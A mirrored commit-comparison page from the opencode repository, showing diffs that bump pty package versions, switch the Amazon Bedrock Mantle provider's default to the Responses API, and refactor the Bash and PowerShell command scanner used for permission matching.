mirror of
https://github.com/anomalyco/opencode.git
synced 2026-08-27 12:06:22 +00:00
Compare commits
9
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
54fea4b111 | ||
|
|
4a5fa79461 | ||
|
|
767115cd69 | ||
|
|
5b25ee8430 | ||
|
|
df6317d23c | ||
|
|
524e39db02 | ||
|
|
6170221e21 | ||
|
|
74a0b2d0ad | ||
|
|
9d46941e70 |
@@ -0,0 +1,10 @@
|
||||
---
|
||||
"@opencode-ai/core": patch
|
||||
---
|
||||
|
||||
Make the experimental portable shell scanner authoritative, with no Tree-sitter
|
||||
fallback. Scan common Bash and PowerShell control flow, heredocs, functions,
|
||||
expressions, quoting, and substitutions natively. Preserve existing redirect and
|
||||
declaration permission matching, and make PowerShell saved approvals cover the
|
||||
original command spelling. Parser failures remain visible without changing the
|
||||
permission engine. The default Tree-sitter path is unchanged.
|
||||
@@ -125,7 +125,7 @@
|
||||
"@effect/platform-node": "catalog:",
|
||||
"@opencode-ai/client": "workspace:*",
|
||||
"@opencode-ai/plugin": "workspace:*",
|
||||
"@opencode-ai/pty": "0.1.10",
|
||||
"@opencode-ai/pty": "0.1.11",
|
||||
"@opencode-ai/schema": "workspace:*",
|
||||
"@opencode-ai/server": "workspace:*",
|
||||
"@opencode-ai/tui": "workspace:*",
|
||||
@@ -364,7 +364,7 @@
|
||||
"@opencode-ai/ai": "workspace:*",
|
||||
"@opencode-ai/codemode": "workspace:*",
|
||||
"@opencode-ai/plugin": "workspace:*",
|
||||
"@opencode-ai/pty": "0.1.10",
|
||||
"@opencode-ai/pty": "0.1.11",
|
||||
"@opencode-ai/schema": "workspace:*",
|
||||
"@opencode-ai/util": "workspace:*",
|
||||
"@parcel/watcher": "2.5.1",
|
||||
@@ -2175,19 +2175,19 @@
|
||||
|
||||
"@opencode-ai/protocol": ["@opencode-ai/protocol@workspace:packages/protocol"],
|
||||
|
||||
"@opencode-ai/pty": ["@opencode-ai/pty@0.1.10", "", { "optionalDependencies": { "@opencode-ai/pty-darwin-arm64": "0.1.10", "@opencode-ai/pty-darwin-x64": "0.1.10", "@opencode-ai/pty-linux-arm64-gnu": "0.1.10", "@opencode-ai/pty-linux-arm64-musl": "0.1.10", "@opencode-ai/pty-linux-x64-gnu": "0.1.10", "@opencode-ai/pty-linux-x64-musl": "0.1.10" }, "bin": { "opencode-pty": "bin/opencode-pty.js" } }, "sha512-cEJT1ADtmnb+df2wrlUcsGny6Q7pTe9Sa7keISzCO0xN1FrL1aS6+eleBPpDimHjgM/sXqvLwJv0UiAeiAvgxQ=="],
|
||||
"@opencode-ai/pty": ["@opencode-ai/pty@0.1.11", "", { "optionalDependencies": { "@opencode-ai/pty-darwin-arm64": "0.1.11", "@opencode-ai/pty-darwin-x64": "0.1.11", "@opencode-ai/pty-linux-arm64-gnu": "0.1.11", "@opencode-ai/pty-linux-arm64-musl": "0.1.11", "@opencode-ai/pty-linux-x64-gnu": "0.1.11", "@opencode-ai/pty-linux-x64-musl": "0.1.11" }, "bin": { "opencode-pty": "bin/opencode-pty.js" } }, "sha512-Q4p0XXZWbc8FnpEJaaLqVbCdodxR9lVzaQjMH18KvjX/4m6tYfuspz03mvkN9MdmtDJ2GOZS7QgGQ7Q+RE9aWw=="],
|
||||
|
||||
"@opencode-ai/pty-darwin-arm64": ["@opencode-ai/pty-darwin-arm64@0.1.10", "", { "os": "darwin", "cpu": "arm64" }, "sha512-j7aszDFRwCIazGUT9eIy4PZwh4rltjvRmoicPRTK3kONN3v0MMflstkmAFDYYpqDPTNh3qJ6xkQmB+DugEbhAg=="],
|
||||
"@opencode-ai/pty-darwin-arm64": ["@opencode-ai/pty-darwin-arm64@0.1.11", "", { "os": "darwin", "cpu": "arm64" }, "sha512-Hz59ImecqeBdLQ40TknPDc9k4xWjQPaTgZ7cXzF3vclAvZiFYSM1rRdbBF6rOaOB0DBp0OFYsiaPP1ykszLsfw=="],
|
||||
|
||||
"@opencode-ai/pty-darwin-x64": ["@opencode-ai/pty-darwin-x64@0.1.10", "", { "os": "darwin", "cpu": "x64" }, "sha512-UAMP/E4lo9RGQF7xrfIwpW2ZEemj308rCogJy14ruKYJt5MwHeGNTynGiHE/1JlDLRy+21wV50jpugADgT71ag=="],
|
||||
"@opencode-ai/pty-darwin-x64": ["@opencode-ai/pty-darwin-x64@0.1.11", "", { "os": "darwin", "cpu": "x64" }, "sha512-TPpA+FZ08BXtTcOeqe0FEJitqLld6Nl46UizcSmQCTRM22xOKPar6OoxHGYtqdFCaFk43a+hk/0GWpV7mcEQEg=="],
|
||||
|
||||
"@opencode-ai/pty-linux-arm64-gnu": ["@opencode-ai/pty-linux-arm64-gnu@0.1.10", "", { "os": "linux", "cpu": "arm64" }, "sha512-lTPlZNQ66koFHZqoPmvvq0SetlepKVQYgnLryhlVfYtcryWDJM7gV4+P66V12RwqWQTjt2u8j12mtg3axSKg2w=="],
|
||||
"@opencode-ai/pty-linux-arm64-gnu": ["@opencode-ai/pty-linux-arm64-gnu@0.1.11", "", { "os": "linux", "cpu": "arm64" }, "sha512-PTU9Ss5a5pApw6IeVvjjbFPuui2oKMoTQ/nY+K1+idLpgMeQHXk2URJbQqetqJxH4OLL5eSutDeWvpkweW0tTw=="],
|
||||
|
||||
"@opencode-ai/pty-linux-arm64-musl": ["@opencode-ai/pty-linux-arm64-musl@0.1.10", "", { "os": "linux", "cpu": "arm64" }, "sha512-IDmWHRylMR/ZfMw9/AAktO/Edi4TITPC+Tq7Xx3JZHsDgSba3QdyE11uNL0zM1myTGdk6Yrt4rpdAzaItPnDjw=="],
|
||||
"@opencode-ai/pty-linux-arm64-musl": ["@opencode-ai/pty-linux-arm64-musl@0.1.11", "", { "os": "linux", "cpu": "arm64" }, "sha512-NFZ2LLfEaO6858cYtEwfQKda/HnCrPR0WflnWoDllHmdY12umeHkeE8DnZQK48tziXxvEACspItXmleiAMAg3g=="],
|
||||
|
||||
"@opencode-ai/pty-linux-x64-gnu": ["@opencode-ai/pty-linux-x64-gnu@0.1.10", "", { "os": "linux", "cpu": "x64" }, "sha512-Q1yob0/8X2JoJZzFmNKUc32XDRAe0avKQ8PLKkpJr30qWXSrGmhltgcDmn94Q70zW9Ght9on84T7cmge9brvdQ=="],
|
||||
"@opencode-ai/pty-linux-x64-gnu": ["@opencode-ai/pty-linux-x64-gnu@0.1.11", "", { "os": "linux", "cpu": "x64" }, "sha512-2Wbko2tFkgTmY6ceB+QMA3E+omaRd5IBBFjJoikMxkc7n75TXYQVz09tCC0pPW+flGvApFQ2YcIkSotdLwit+A=="],
|
||||
|
||||
"@opencode-ai/pty-linux-x64-musl": ["@opencode-ai/pty-linux-x64-musl@0.1.10", "", { "os": "linux", "cpu": "x64" }, "sha512-7RLHWQxX/wfUKJJP2ZMMtkXaPsrgoMNKzE6PL/LbnYbMBtkqfld9EDcMv1RFZ0CqjNFgI0Hg4eRk6x+ZNc/wyQ=="],
|
||||
"@opencode-ai/pty-linux-x64-musl": ["@opencode-ai/pty-linux-x64-musl@0.1.11", "", { "os": "linux", "cpu": "x64" }, "sha512-PF7vbOsSOVbRSo11pOOmJq/Vp34Ww7Xoo8rUeMSAoG1tJSIp2SXFHCRKEGH9H4KxGUfpRHQlDBV1HLz8onnyJQ=="],
|
||||
|
||||
"@opencode-ai/schema": ["@opencode-ai/schema@workspace:packages/schema"],
|
||||
|
||||
|
||||
+4
-4
@@ -1,8 +1,8 @@
|
||||
{
|
||||
"nodeModules": {
|
||||
"x86_64-linux": "sha256-XHUy+Hk+RHUHREt4x0HfSzr3RlEvgBd4H/fV0rlXw2M=",
|
||||
"aarch64-linux": "sha256-/gIaM62uV2X6KCnkSi6QjyT7t7uJ2L7u7CxXxPQYK+w=",
|
||||
"aarch64-darwin": "sha256-PWG6ALh6kG7mnC6AzEuIAU54BEQ4IB+SyyQFGb/s+Dc=",
|
||||
"x86_64-darwin": "sha256-TcgRDHG4CAT+XoCi0JNansONjg06ZPRmeLRsqmdJ4B4="
|
||||
"x86_64-linux": "sha256-NV1PD2fCgWEKsr9kR0pV9jgkC400dzoF7/DnI/fY5yI=",
|
||||
"aarch64-linux": "sha256-TDTdwE0mcHLrrKPDwPPBk3qIDl/PXJrLX6Zbwp7EH3I=",
|
||||
"aarch64-darwin": "sha256-6MEoiV1UKAWgC7C6PR4USCP/LLZXROfBfPg6sb2VVWg=",
|
||||
"x86_64-darwin": "sha256-8JV6YVZFq1BC++zpARxBWhQ+wuNJrWgTZJ6jfQhDybs="
|
||||
}
|
||||
}
|
||||
|
||||
@@ -78,7 +78,7 @@ export const configure = (input: Config = {}) => {
|
||||
|
||||
return {
|
||||
id,
|
||||
model: chat,
|
||||
model: responses,
|
||||
chat,
|
||||
responses,
|
||||
configure,
|
||||
@@ -112,4 +112,4 @@ export const responsesModel: ProviderPackage.Definition<Settings, OpenAIProvider
|
||||
modelID,
|
||||
settings,
|
||||
) => configure(config(settings)).responses(modelID)
|
||||
export const model = chatModel
|
||||
export const model = responsesModel
|
||||
|
||||
@@ -1,2 +1,2 @@
|
||||
export { chatModel as model } from "../amazon-bedrock-mantle.js"
|
||||
export { responsesModel as model } from "../amazon-bedrock-mantle.js"
|
||||
export type { Settings } from "../amazon-bedrock-mantle.js"
|
||||
|
||||
@@ -3,6 +3,7 @@ import { Effect } from "effect"
|
||||
import { HttpClientRequest } from "effect/unstable/http"
|
||||
import { LLM, Message } from "../../src/index.js"
|
||||
import { AmazonBedrockMantle } from "../../src/providers.js"
|
||||
import { model } from "../../src/providers/amazon-bedrock/mantle.js"
|
||||
import { OpenAIResponses } from "../../src/protocols/openai-responses.js"
|
||||
import { compileRequest, LLMClient } from "../../src/route/client.js"
|
||||
import { it } from "../lib/effect.js"
|
||||
@@ -17,13 +18,16 @@ const credentials = {
|
||||
}
|
||||
|
||||
describe("Amazon Bedrock Mantle provider", () => {
|
||||
it.effect("uses Chat by default and exposes Responses", () =>
|
||||
it.effect("uses Responses by default and exposes Chat explicitly", () =>
|
||||
Effect.gen(function* () {
|
||||
const provider = AmazonBedrockMantle.configure({ credentials })
|
||||
expect(provider.responses("openai.gpt-oss-120b").route.transport).toBe(OpenAIResponses.httpTransport)
|
||||
const chat = yield* compileRequest(LLM.request({ model: provider.model("openai.gpt-oss-120b"), prompt: "Hi" }))
|
||||
expect(provider.model).toBe(provider.responses)
|
||||
expect(AmazonBedrockMantle.model).toBe(AmazonBedrockMantle.responsesModel)
|
||||
expect(model).toBe(AmazonBedrockMantle.responsesModel)
|
||||
expect(provider.model("openai.gpt-oss-120b").route.transport).toBe(OpenAIResponses.httpTransport)
|
||||
const chat = yield* compileRequest(LLM.request({ model: provider.chat("openai.gpt-oss-120b"), prompt: "Hi" }))
|
||||
const responses = yield* compileRequest(
|
||||
LLM.request({ model: provider.responses("openai.gpt-oss-120b"), prompt: "Hi" }),
|
||||
LLM.request({ model: provider.model("openai.gpt-oss-120b"), prompt: "Hi" }),
|
||||
)
|
||||
|
||||
expect(chat).toMatchObject({
|
||||
@@ -37,7 +41,7 @@ describe("Amazon Bedrock Mantle provider", () => {
|
||||
body: { model: "openai.gpt-oss-120b", store: false },
|
||||
})
|
||||
expect(provider.model("openai.gpt-oss-120b").route.providerMetadataKey).toBe("mantle")
|
||||
expect(provider.responses("openai.gpt-oss-120b").route.providerMetadataKey).toBe("mantle")
|
||||
expect(provider.chat("openai.gpt-oss-120b").route.providerMetadataKey).toBe("mantle")
|
||||
}),
|
||||
)
|
||||
|
||||
|
||||
@@ -27,7 +27,7 @@
|
||||
"@effect/platform-node": "catalog:",
|
||||
"@opencode-ai/client": "workspace:*",
|
||||
"@opencode-ai/plugin": "workspace:*",
|
||||
"@opencode-ai/pty": "0.1.10",
|
||||
"@opencode-ai/pty": "0.1.11",
|
||||
"@opencode-ai/schema": "workspace:*",
|
||||
"@opencode-ai/server": "workspace:*",
|
||||
"@opencode-ai/tui": "workspace:*",
|
||||
|
||||
@@ -118,7 +118,7 @@
|
||||
"@ff-labs/fff-node": "0.10.5",
|
||||
"@opencode-ai/codemode": "workspace:*",
|
||||
"@opencode-ai/ai": "workspace:*",
|
||||
"@opencode-ai/pty": "0.1.10",
|
||||
"@opencode-ai/pty": "0.1.11",
|
||||
"@opencode-ai/schema": "workspace:*",
|
||||
"@opencode-ai/plugin": "workspace:*",
|
||||
"@opencode-ai/util": "workspace:*",
|
||||
|
||||
@@ -377,14 +377,8 @@ export const make = Effect.fn("PluginHost.make")(function* (plugin: Interface, p
|
||||
hook: (name, callback) => hooks.register("shell", name, callback),
|
||||
},
|
||||
tool: {
|
||||
transform: (callback) =>
|
||||
tools
|
||||
.transform((draft) =>
|
||||
callback({
|
||||
add: (tool) => draft.add(tool),
|
||||
}),
|
||||
)
|
||||
.pipe(Effect.as({ dispose: Effect.void })),
|
||||
transform: tools.transform,
|
||||
reload: tools.reload,
|
||||
hook: (name, callback) => hooks.register("tool", name, callback),
|
||||
},
|
||||
vcs: {
|
||||
|
||||
@@ -7,12 +7,17 @@ import path from "path"
|
||||
import type { Node } from "web-tree-sitter"
|
||||
import { shellParserWasm } from "#shell-parser-wasm"
|
||||
import { ShellSelect } from "./select.js"
|
||||
import { Wildcard } from "../util/wildcard.js"
|
||||
|
||||
type Part = { type: string; text: string }
|
||||
type SourceToken = { raw: string; value: string }
|
||||
const CWD = new Set(["cd", "chdir", "popd", "pushd", "push-location", "set-location"])
|
||||
const POWERSHELL_PATH_FLAGS = new Set(["-literalpath", "-path"])
|
||||
|
||||
export type Result = {
|
||||
commands: Array<{ resource: string; save: string }>
|
||||
directories: string[]
|
||||
}
|
||||
|
||||
const ARITY: Record<string, number> = {
|
||||
cat: 1,
|
||||
cd: 1,
|
||||
@@ -152,6 +157,7 @@ const ARITY: Record<string, number> = {
|
||||
"yarn dlx": 3,
|
||||
"yarn run": 3,
|
||||
}
|
||||
const PREFIX_LENGTH = Math.max(...Object.values(ARITY))
|
||||
|
||||
export const scan = Effect.fnUntraced(function* (
|
||||
command: string,
|
||||
@@ -159,7 +165,7 @@ export const scan = Effect.fnUntraced(function* (
|
||||
cwd: string,
|
||||
options?: { portable?: boolean },
|
||||
) {
|
||||
if (options?.portable) return yield* Effect.promise(() => scanPortable(command, shell, cwd))
|
||||
if (options?.portable) return yield* scanPortable(command, shell, cwd)
|
||||
return yield* scanLegacy(command, shell, cwd)
|
||||
})
|
||||
|
||||
@@ -197,416 +203,65 @@ const scanLegacy = Effect.fnUntraced(function* (command: string, shell: string,
|
||||
)
|
||||
})
|
||||
|
||||
async function scanPortable(command: string, shell: string, cwd: string) {
|
||||
const { ShellScan } = await import("./scan.js")
|
||||
export const scanPortable = Effect.fnUntraced(function* (command: string, shell: string, cwd: string) {
|
||||
const { ShellScan } = yield* Effect.tryPromise({
|
||||
try: () => import("./scan.js"),
|
||||
catch: (cause) => new Error(`Portable shell scanner failed to load: ${cause}`, { cause }),
|
||||
})
|
||||
const powershell = ShellSelect.ps(shell)
|
||||
const result = powershell ? ShellScan.scanPowerShell(command) : ShellScan.scan(command)
|
||||
if (result.kind === "opaque") return { commands: [{ resource: command, save: command }], directories: [] }
|
||||
const carriage = powershell ? command.search(/\r(?!\n)/) : -1
|
||||
if (carriage >= 0) return { commands: [], directories: [] }
|
||||
if (result.kind === "opaque")
|
||||
return yield* Effect.fail(new Error(`Portable shell scanner cannot analyze command: ${result.reason}`))
|
||||
|
||||
const parsed = result.commands.reduce(
|
||||
(output, item) => {
|
||||
const index = item[ShellScan.Nested] ? -1 : command.indexOf(item.resource, output.cursor)
|
||||
const offset = item[ShellScan.Nested]
|
||||
? command.lastIndexOf(item.resource, output.cursor - 1)
|
||||
: index < 0
|
||||
? command.indexOf(item.resource)
|
||||
: index
|
||||
if (index >= 0) output.cursor = index + item.resource.length
|
||||
const before = command.slice(0, Math.max(0, offset))
|
||||
const name = powershell ? item.words[0]?.toLowerCase() : item.words[0]
|
||||
if (!name) return output
|
||||
if (powershell && name === "<") return output
|
||||
if (
|
||||
powershell &&
|
||||
name === "foreach-object" &&
|
||||
item.words.some((word) => word.startsWith("{")) &&
|
||||
!/\|\s*$/.test(before)
|
||||
const output: Result = { commands: [], directories: [] }
|
||||
for (const item of result.commands) {
|
||||
// The legacy command walk skips declarations, not the substitutions within them.
|
||||
if (item.declaration) continue
|
||||
const words = item.redirectWordCount === undefined ? item.rawWords : item.rawWords.slice(0, item.redirectWordCount)
|
||||
// The shipped PowerShell grammar treats bare statement-head foreach prefixes as control flow.
|
||||
if (powershell && item.statementHead && /^foreach(?:-|$)/i.test(words[0] ?? "")) continue
|
||||
const name = powershell ? words[0]?.toLowerCase() : words[0]
|
||||
if (CWD.has(name)) {
|
||||
output.directories.push(
|
||||
...directoryArgs(
|
||||
words.flatMap((text): Part[] => {
|
||||
const parameter = powershell ? /^(-(?:literalpath|path)):(.*)$/i.exec(text) : undefined
|
||||
if (parameter)
|
||||
return [
|
||||
{ type: "command_parameter", text: parameter[1] },
|
||||
{ type: "word", text: parameter[2] },
|
||||
]
|
||||
return [{ type: powershell && text.startsWith("-") ? "command_parameter" : "word", text }]
|
||||
}),
|
||||
powershell,
|
||||
cwd,
|
||||
shell,
|
||||
),
|
||||
)
|
||||
return output
|
||||
const tokens = powershell ? powerShellSourceTokens(item.resource) : sourceTokens(item.resource)
|
||||
const sourceHead = powershell ? item.words[0] : tokens.find((token) => token.value === item.words[0])?.raw
|
||||
if (CWD.has(name) && (powershell || sourceHead === item.words[0])) {
|
||||
output.directories.push(...portableDirectoryArgs(item.words, tokens, powershell, cwd, shell))
|
||||
return output
|
||||
}
|
||||
const save = powershell ? powerShellSourcePrefix(tokens, item.words) : bashSourcePrefix(tokens, item.words)
|
||||
output.commands.push({
|
||||
resource: powershell ? item.resource : bashResource(item.resource, before),
|
||||
save: `${save} *`,
|
||||
})
|
||||
return output
|
||||
},
|
||||
{
|
||||
commands: [] as Array<{ resource: string; save: string }>,
|
||||
directories: [] as string[],
|
||||
cursor: 0,
|
||||
},
|
||||
)
|
||||
return { commands: parsed.commands, directories: parsed.directories }
|
||||
}
|
||||
|
||||
function bashResource(resource: string, before: string) {
|
||||
if (!/(?:&&|\|\||\|&)\s*$|\|\s*$/.test(before)) return resource
|
||||
const redirect = bashRedirect(resource)
|
||||
return redirect < 0 ? resource : resource.slice(0, redirect).replace(/\d+$/, "").trim()
|
||||
}
|
||||
|
||||
function bashRedirect(resource: string) {
|
||||
let quote: "single" | "double" | undefined
|
||||
for (let index = 0; index < resource.length; index++) {
|
||||
const char = resource[index]
|
||||
if (quote === "single") {
|
||||
if (char === "'") quote = undefined
|
||||
continue
|
||||
}
|
||||
if (char === "\\") {
|
||||
index++
|
||||
continue
|
||||
}
|
||||
if (char === '"') {
|
||||
quote = quote === "double" ? undefined : "double"
|
||||
continue
|
||||
}
|
||||
if (quote === "double") {
|
||||
if (char === "$" && resource[index + 1] === "(") index = bashParenthesizedEnd(resource, index + 1)
|
||||
else if (char === "`") index = bashBacktickEnd(resource, index)
|
||||
continue
|
||||
}
|
||||
if (char === "'") {
|
||||
quote = "single"
|
||||
continue
|
||||
}
|
||||
if ((char === "$" || char === "<" || char === ">") && resource[index + 1] === "(") {
|
||||
index = bashParenthesizedEnd(resource, index + 1)
|
||||
continue
|
||||
}
|
||||
if (char === "`") {
|
||||
index = bashBacktickEnd(resource, index)
|
||||
continue
|
||||
}
|
||||
if (char === "<" || char === ">" || (char === "&" && resource[index + 1] === ">")) return index
|
||||
const selected = prefix(words.slice(0, PREFIX_LENGTH))
|
||||
const conventional = `${selected.join(" ")} *`
|
||||
const end = item.wordEnds?.[selected.length - 1]
|
||||
// Keep existing grants stable unless normalized spacing loses the original source boundary.
|
||||
const save =
|
||||
!powershell || end === undefined || Wildcard.match(item.resource, conventional)
|
||||
? conventional
|
||||
: (() => {
|
||||
const boundary =
|
||||
item.wordEnds?.find(
|
||||
(value) => value >= end && (value >= item.resource.length || /\s/.test(item.resource[value])),
|
||||
) ?? end
|
||||
const separator = /^\s+(?:`(?:\r\n|\r|\n)\s*)?/.exec(item.resource.slice(boundary))?.[0]
|
||||
return `${item.resource.slice(0, boundary)}${separator ?? " "}*`
|
||||
})()
|
||||
output.commands.push({
|
||||
resource: item.resource,
|
||||
save,
|
||||
})
|
||||
}
|
||||
return -1
|
||||
}
|
||||
|
||||
function bashParenthesizedEnd(resource: string, start: number) {
|
||||
let level = 1
|
||||
let quote: "single" | "double" | undefined
|
||||
for (let index = start + 1; index < resource.length; index++) {
|
||||
const char = resource[index]
|
||||
if (quote === "single") {
|
||||
if (char === "'") quote = undefined
|
||||
continue
|
||||
}
|
||||
if (char === "\\") {
|
||||
index++
|
||||
continue
|
||||
}
|
||||
if (char === '"') {
|
||||
quote = quote === "double" ? undefined : "double"
|
||||
continue
|
||||
}
|
||||
if (quote === "double") continue
|
||||
if (char === "'") {
|
||||
quote = "single"
|
||||
continue
|
||||
}
|
||||
if (char === "(") level++
|
||||
if (char === ")" && --level === 0) return index
|
||||
}
|
||||
return resource.length - 1
|
||||
}
|
||||
|
||||
function bashBacktickEnd(resource: string, start: number) {
|
||||
for (let index = start + 1; index < resource.length; index++) {
|
||||
if (resource[index] === "\\") index++
|
||||
else if (resource[index] === "`") return index
|
||||
}
|
||||
return resource.length - 1
|
||||
}
|
||||
|
||||
function portableDirectoryArgs(
|
||||
command: string[],
|
||||
tokens: SourceToken[],
|
||||
powershell: boolean,
|
||||
cwd: string,
|
||||
shell: string,
|
||||
) {
|
||||
if (!powershell) {
|
||||
const start = tokens.findIndex((token) => token.value === command[0])
|
||||
if (start < 0) return []
|
||||
return directoryArgs(
|
||||
tokens.slice(start).map((token) => ({ type: "word", text: token.raw })),
|
||||
false,
|
||||
cwd,
|
||||
shell,
|
||||
)
|
||||
}
|
||||
|
||||
const start = tokens.findIndex((token) => token.value.toLowerCase() === command[0]?.toLowerCase())
|
||||
if (start < 0) return []
|
||||
const directories: string[] = []
|
||||
let expectsPath = false
|
||||
for (const part of tokens.slice(start + 1).map((token) => token.raw)) {
|
||||
if (expectsPath) {
|
||||
const value = directoryArgument(part, true, cwd, shell)
|
||||
if (value) directories.push(value)
|
||||
expectsPath = false
|
||||
continue
|
||||
}
|
||||
if (part.startsWith("-")) {
|
||||
expectsPath = POWERSHELL_PATH_FLAGS.has(part.toLowerCase())
|
||||
continue
|
||||
}
|
||||
const value = directoryArgument(part, true, cwd, shell)
|
||||
if (value) directories.push(value)
|
||||
}
|
||||
return directories
|
||||
}
|
||||
|
||||
function sourceTokens(resource: string) {
|
||||
const tokens: SourceToken[] = []
|
||||
let raw = ""
|
||||
let value = ""
|
||||
let quote: "single" | "double" | "backtick" | undefined
|
||||
let substitution = 0
|
||||
let redirect = false
|
||||
|
||||
const finish = () => {
|
||||
if (!raw) return
|
||||
if (!redirect) tokens.push({ raw, value })
|
||||
raw = ""
|
||||
value = ""
|
||||
redirect = false
|
||||
}
|
||||
|
||||
for (let index = 0; index < resource.length; index++) {
|
||||
const char = resource[index]
|
||||
if (quote === "single") {
|
||||
raw += char
|
||||
if (char === "'") quote = undefined
|
||||
else value += char
|
||||
continue
|
||||
}
|
||||
if (quote === "double") {
|
||||
raw += char
|
||||
if (char === '"') quote = undefined
|
||||
else if (char === "\\" && index + 1 < resource.length) {
|
||||
const next = resource[index + 1]
|
||||
if ('$`"\\\n'.includes(next)) {
|
||||
raw += resource[++index]
|
||||
if (next !== "\n") value += next
|
||||
} else value += char
|
||||
} else value += char
|
||||
continue
|
||||
}
|
||||
if (quote === "backtick") {
|
||||
raw += char
|
||||
value += char
|
||||
if (char === "`" && resource[index - 1] !== "\\") quote = undefined
|
||||
continue
|
||||
}
|
||||
if (char === "'") {
|
||||
raw += char
|
||||
quote = "single"
|
||||
continue
|
||||
}
|
||||
if (char === '"') {
|
||||
raw += char
|
||||
quote = "double"
|
||||
continue
|
||||
}
|
||||
if (char === "`") {
|
||||
raw += char
|
||||
value += char
|
||||
quote = "backtick"
|
||||
continue
|
||||
}
|
||||
if (char === "\\" && index + 1 < resource.length) {
|
||||
if (resource[index + 1] === "\n") {
|
||||
finish()
|
||||
index++
|
||||
continue
|
||||
}
|
||||
if (!raw && /\s/.test(resource[index + 1])) {
|
||||
index++
|
||||
continue
|
||||
}
|
||||
raw += char + resource[++index]
|
||||
value += resource[index]
|
||||
continue
|
||||
}
|
||||
if ((char === "<" || char === ">") && resource[index + 1] === "(") {
|
||||
const end = bashParenthesizedEnd(resource, index + 1)
|
||||
if (raw) {
|
||||
raw += resource.slice(index, end + 1)
|
||||
value += resource.slice(index, end + 1)
|
||||
}
|
||||
index = end
|
||||
continue
|
||||
}
|
||||
if (char === "$" && resource[index + 1] === "(") substitution++
|
||||
if (char === ")" && substitution > 0) substitution--
|
||||
if (substitution === 0 && /\s/.test(char)) {
|
||||
finish()
|
||||
continue
|
||||
}
|
||||
if (substitution === 0 && (char === "<" || char === ">" || (char === "&" && resource[index + 1] === ">"))) {
|
||||
if (/^\d+$/.test(value)) {
|
||||
raw = ""
|
||||
value = ""
|
||||
} else finish()
|
||||
redirect = true
|
||||
if (char === "&") index++
|
||||
while (/[<>&|]/.test(resource[index + 1] ?? "")) index++
|
||||
continue
|
||||
}
|
||||
raw += char
|
||||
value += char
|
||||
}
|
||||
finish()
|
||||
|
||||
return tokens
|
||||
}
|
||||
|
||||
function bashSourcePrefix(tokens: SourceToken[], words: string[]) {
|
||||
const start = tokens.findIndex((token) => token.value === words[0])
|
||||
if (start < 0) {
|
||||
const command = tokens.findIndex((token) => !/^[A-Za-z_][A-Za-z0-9_]*\+?=/.test(token.raw))
|
||||
return prefix(tokens.slice(Math.max(0, command)).map((token) => token.raw)).join(" ")
|
||||
}
|
||||
const source = tokens
|
||||
.slice(start)
|
||||
.map((token) => token.raw)
|
||||
.filter((token) => !/^\$\([\s\S]*\)$/.test(token) && !/^`[\s\S]*`$/.test(token))
|
||||
return prefix(source).join(" ")
|
||||
}
|
||||
|
||||
function powerShellSourcePrefix(tokens: SourceToken[], words: string[]) {
|
||||
const start = tokens.findIndex((token) => token.value.toLowerCase() === words[0]?.toLowerCase())
|
||||
if (start < 0) return prefix(words).join(" ")
|
||||
return prefix(tokens.slice(start).map((token) => token.raw)).join(" ")
|
||||
}
|
||||
|
||||
function powerShellSourceTokens(resource: string) {
|
||||
const tokens: SourceToken[] = []
|
||||
let raw = ""
|
||||
let value = ""
|
||||
let quote: "single" | "double" | undefined
|
||||
let redirect = false
|
||||
|
||||
const finish = () => {
|
||||
if (!raw) return
|
||||
if (!redirect) tokens.push({ raw, value })
|
||||
raw = ""
|
||||
value = ""
|
||||
redirect = false
|
||||
}
|
||||
|
||||
for (let index = 0; index < resource.length; index++) {
|
||||
const char = resource[index]
|
||||
if (quote === "single") {
|
||||
raw += char
|
||||
if (char === "'" && resource[index + 1] === "'") {
|
||||
raw += resource[++index]
|
||||
value += "'"
|
||||
} else if (char === "'") quote = undefined
|
||||
else value += char
|
||||
continue
|
||||
}
|
||||
if (quote === "double") {
|
||||
raw += char
|
||||
if (char === '"') quote = undefined
|
||||
else if (char === "`" && index + 1 < resource.length) {
|
||||
raw += resource[++index]
|
||||
value += resource[index]
|
||||
} else value += char
|
||||
continue
|
||||
}
|
||||
if (char === "'") {
|
||||
raw += char
|
||||
quote = "single"
|
||||
continue
|
||||
}
|
||||
if (char === '"') {
|
||||
raw += char
|
||||
quote = "double"
|
||||
continue
|
||||
}
|
||||
if (char === "`" && index + 1 < resource.length) {
|
||||
raw += char + resource[++index]
|
||||
if (resource[index] !== "\n" && resource[index] !== "\r") value += resource[index]
|
||||
continue
|
||||
}
|
||||
if (char === "{" && !raw) {
|
||||
const end = powerShellBracedEnd(resource, index)
|
||||
raw = resource.slice(index, end + 1)
|
||||
value = raw
|
||||
index = end
|
||||
continue
|
||||
}
|
||||
if (/\s/.test(char)) {
|
||||
finish()
|
||||
continue
|
||||
}
|
||||
if (char === ">") {
|
||||
if (resource[index + 1] && !/[\s>&]/.test(resource[index + 1])) {
|
||||
raw += char
|
||||
value += char
|
||||
continue
|
||||
}
|
||||
if (/^\d+$/.test(value)) {
|
||||
raw = ""
|
||||
value = ""
|
||||
} else if (raw === "*") {
|
||||
raw = ""
|
||||
value = ""
|
||||
} else finish()
|
||||
redirect = true
|
||||
while (/[>&\d]/.test(resource[index + 1] ?? "")) index++
|
||||
continue
|
||||
}
|
||||
if ((char === "&" || char === ".") && !raw && tokens.length === 0) continue
|
||||
raw += char
|
||||
value += char
|
||||
}
|
||||
finish()
|
||||
return tokens
|
||||
}
|
||||
|
||||
function powerShellBracedEnd(resource: string, start: number) {
|
||||
let level = 1
|
||||
let quote: "single" | "double" | undefined
|
||||
for (let index = start + 1; index < resource.length; index++) {
|
||||
const char = resource[index]
|
||||
if (char === "`" && quote !== "single") {
|
||||
index++
|
||||
continue
|
||||
}
|
||||
if (quote === "single") {
|
||||
if (char === "'" && resource[index + 1] === "'") index++
|
||||
else if (char === "'") quote = undefined
|
||||
continue
|
||||
}
|
||||
if (quote === "double") {
|
||||
if (char === '"') quote = undefined
|
||||
continue
|
||||
}
|
||||
if (char === "'") {
|
||||
quote = "single"
|
||||
continue
|
||||
}
|
||||
if (char === '"') {
|
||||
quote = "double"
|
||||
continue
|
||||
}
|
||||
if (char === "{") level++
|
||||
if (char === "}" && --level === 0) return index
|
||||
}
|
||||
return resource.length - 1
|
||||
}
|
||||
return output
|
||||
})
|
||||
|
||||
function parts(node: Node) {
|
||||
return Array.from({ length: node.childCount }).flatMap((_, index): Part[] => {
|
||||
|
||||
+1170
-374
File diff suppressed because it is too large
Load Diff
+132
-136
@@ -4,7 +4,8 @@ export type { Context, Metadata, Options, Result } from "@opencode-ai/schema/too
|
